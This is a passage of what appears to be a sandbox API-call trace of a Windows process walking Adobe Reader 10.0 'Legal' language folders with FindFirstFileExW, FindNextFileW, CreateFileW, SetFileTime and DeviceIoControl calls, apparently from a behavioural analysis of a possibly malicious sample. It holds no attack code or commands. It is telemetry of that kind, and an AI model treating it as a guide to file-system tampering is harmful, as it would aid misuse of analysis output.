ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202198 [0081.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267238 [0081.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.555] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12021b8 [0081.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267340 [0081.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.556] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.556] GetLastError () returned 0x12 [0081.556] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.556] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.556] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.556] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.556] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.556] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ece3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.556] GetLastError () returned 0x12 [0081.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.557] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.557] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0081.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.558] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.558] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.558] NtClose (Handle=0x178) returned 0x0 [0081.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.559] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12021d8 [0081.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267448 [0081.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.561] GetLastError () returned 0x12 [0081.561] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.561] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.561] GetLastError () returned 0x12 [0081.561] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.562] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0081.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.562] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.564] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.564] NtClose (Handle=0x168) returned 0x0 [0081.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.565] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202218 [0081.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267658 [0081.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202238 [0081.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267760 [0081.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.568] GetLastError () returned 0x12 [0081.568] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.568] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.568] GetLastError () returned 0x12 [0081.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.568] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.569] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0081.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.569] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, 